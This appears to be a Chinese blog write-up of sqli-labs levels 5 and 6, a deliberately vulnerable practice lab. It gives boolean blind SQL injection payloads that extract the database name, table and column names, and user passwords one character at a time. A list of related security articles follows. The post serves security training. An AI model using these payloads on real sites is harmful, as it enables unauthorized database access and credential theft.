SQL注入sqli_labs靶场第五、六题

第五题

根据报错信息,判断为单引号注入

没有发现回显点

方法:布尔盲注(太耗时,不推荐使用)

1)猜解数据库名字:(所有ASCII码值范围:0~127)

?id=1' and length(database())=8--+

页面正常显示,则为true,数据库名字长度为8

页面错误显示,则为false,数据库名字长度不为8

?id=1' and ascii(mid(database(),1,1))>64--+ 正常

?id=1' and ascii(mid(database(),1,1))>100--+ 正常

?id=1' and ascii(mid(database(),1,1))=115--+ 正常

?id=1' and ascii(mid(database(),2,1))=101--+ 正常

?id=1' and ascii(mid(database(),3,1))=99--+ 正常

如此就得到了

第一个字符的ASCII码为115解码出来为"s"

第二个字符的ASCII码为101解码出来为"e"

第二个字符的ASCII码为99解码出来为"c"

依次类推出数据库的名字为"security"

2)猜解表名:(判断所有表名长度,依次猜解所有表名)

判断长度:

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29--+

猜解表名

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>64 --+ 正常

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 正常

说明第一个表第一个字符是r,依次猜解直到找到users表

3)猜解列名:(判断所有列名长度,依次猜解users表中列名)

判断长度:

?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name='users'))>29--+

猜解列名:

?id=1' and ascii(mid((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>64--+

4)猜解账号密码

?id=1' and ascii(mid((select group_concat(username,password) from users),1,1))>64--+

第六题

根据报错信息,判断为双引号注入

页面没有回显信息,采用布尔盲注,与第五题方法完全一致

相关推荐
我是乌鸦的空间9 分钟前
什么是网络安全中的电子数据取证与响应?
网络·网络安全
网安蟹佬霸2 小时前
WAF绕过技术实战:从规则检测到编码绕过全指南(2026最新版,附Payload集与自动化脚本)
运维·安全·网络安全·架构·自动化·网安
好好学习的星熊3 小时前
SQL 面试题(数据分析师)
sql·mysql
数据知道3 小时前
移动端渗透测试流程:Android APK 逆向与动态调试
android·web安全·网络安全
润乾软件4 小时前
CodeBuddy+SQLazy 编写复杂 SQL 详解
数据库·sql·codebuddy·sqlazy
kisshyshy5 小时前
掘金同款社区数据库设计:9张表带你吃透建表、索引与约束
后端·sql·markdown
这个DBA有点耶5 小时前
SQL优化进阶:读懂“索引下推”,告别回表噩梦
数据库·sql·性能优化
电子科技圈6 小时前
Semtech将于2026年国际物联网展(IOTE 2026)举办 LoRa®全球生态论坛
物联网·网络安全·健康医疗·制造·零售·iot·交通物流
IPdodo_6 小时前
代理 IP 服务商 SLA 怎么验?7 项指标与 Python 探测脚本实战
运维·python·网络协议·网络安全·代理ip
2501_916008898 小时前
iOS App 请求地址查看,不用配置看到 App 调了哪些接口
网络协议·计算机网络·网络安全·ios·adb·https·udp